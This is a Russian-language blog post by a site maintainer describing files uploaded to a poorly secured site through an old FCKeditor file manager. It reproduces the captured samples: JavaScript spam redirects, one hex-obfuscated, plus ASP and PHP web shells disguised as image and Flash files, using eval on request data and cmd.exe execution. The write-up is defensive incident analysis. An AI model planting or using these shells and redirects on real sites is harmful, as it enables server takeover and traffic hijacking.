Ранее я рассказывал о сайте, который мне пришлось латать от дыр sql injection. Залатал я их не мало и уже успокоился. Но как оказалось, покой нам только снится.
Google оповестил владельца сайта, цитирую, «Мы обнаружили, что Ваш сайт был взломан и на нем разместили вредоносный контент». Евгению бежать было не куда, он опять попросил меня посмотреть в чем дело.
Да что ж там ломать-то, недоумевал я. Чтобы загрузить вредоносный контент, нужна какая то форма. Но никаких форм, принимающих файлы, на front-end сайта нет. Создателю этого самопала было просто негде, как мне казалось, накосячить. Иначе, можно было бы искать файлы в каких то временных папках или папках, куда осуществляется загрузка. Будучи в меру неаккуратным, можно создать подходящие лазейки для взлома в случае подобных форм.
Решил попробовать поискать «тонкие места» с помощью утилиты Манул. Интересный проект. Хоть утилита так и не смогла завершить сканирование — все время где то зависала — мне удалось поглядеть её логи без завершения процесса. От туда я почерпнул, что мест, которые нужно проверить в самопальном движке, более сотни.
Тем не менее, в процессе поисков я наткнулся на странные файлы в одном из каталогов сайта, которые должны были попадать на сайт посредством загрузки через файл-менеджер wysiwyg редактора, прикрученного к админке (back-end).
В качестве редактора здесь используется старенький FCKeditor от 2007 года. Редактор то не плох, и если настроить его правильно, то проблем не будет. Но памятуя о расслабленной рукожопости программиста, прикрутившего FCK к данному самопалу, это была реальная зацепка.
Почему они мне показались странными? Это были короткие XML вот такого содержания:
|
1 2 3 4 5 |
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <script>location.replace("http://med.sale-on-line.net/");</script> </html> |
Т.е. это spam-редирект на какой то вшивый сайт по теме быстрого похудения. Были там и другие варианты исполнения редиректа. К примеру, урл сайта шифровался в шестнадцатеричный код.
|
1 2 3 4 5 6 7 |
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <script>var _0xfc22=["\x68\x74\x74\x70\x3A\x2F\x2F\x6D\x65\x64\x2E\x73\x61\x6C\x65\x2D\x6F\x6E\x2D\x6C\x69\x6E\x65\x2E\x6E\x65\x74\x2F","\x72\x65\x70\x6C\x61\x63\x65"]; location[_0xfc22[1]](_0xfc22[0]); </script> </html> |
Оказалось, что в редактор может зайти любой и, пользуясь файл-менеджером в FCKEditor, записать нужный файл на сервер. От полного провала нас отделял только список разрешенных расширений файлов. (Файлы с расширением .xml были разрешены).
Трудолюбивые хакеры пробовали на прочность настройки веб-сервера и пихали скрипты с фальшивыми расширениями файлов. Вот пример файла с расширением jpg, сигнатурой gif, но телом в виде скрипта на asp.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
GIF89alovealihack<%eval request("alihack.com")%> <%On Error Resume Next Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>| <%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t") sPath=replace(Server.MapPath("\"),"/", "\") Function CheckDirIsOKWrite(DirStr) On Error Resume Next Fso.CreateTextFile(DirStr&"\temp.tmp") if Err.number<>0 then Err.Clear() response.write "" CheckDirIsOKWrite=0 else response.write "write" CheckDirIsOKWrite=1 end if End Function Function CheckDirIsOKDel(DirStr) On Error Resume Next Fso.DeleteFile(DirStr&"\temp.tmp") if Err.number<>0 then Err.Clear() response.write "" else response.write "delete" end if End Function Function WriteSpace(NunStr) for iu=0 to NunStr response.write " " next End Function IsWrite=CheckDirIsOKWrite(sPath) if IsWrite=1 then CheckDirIsOKDel(sPath) %> |
А вот якобы файл флеш-анимации adobe (расширение у файла было .fla), а на самом деле скрипт на PHP.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php $a="4"; $b="0"; $c="4"; echo $a.$b.$c."#"; ?> <?php eval($_POST[z]); $p_File=fopen($_SERVER['DOCUMENT_ROOT']."/1.txt","w"); if(!$p_File) echo "writewrong"; else echo "writeok"; ?> |
Экспонатов довольно много накопилось. Видно было, что не один хакер пробовал тут свои силы. Но скрипты никак не хотели выполняться в файлах с левыми расширениями.
Мог быть реализован вариант, когда загруженный файл с левым расширением подключается через какой то из действующих скриптов. Главный скрипт движка, к примеру, подключает файлы, получая их имя из url. Но список вариантов там строго регламентирован, так что такие попытки пройдут мимо кассы.
Я думаю, что следующей линией обороны будет админка сайта. Которая вообще вся держится на честном слове, с молитвами о том, что к ней не подберут пароль. Если front-end это решето, то админка — просто дыра.
После зачистки, пришлось немного поправить config в FCKEditor. Теперь файл-менеджер не работает без инициализации админки. Что дальше?
Хакеры — ваш ход :)
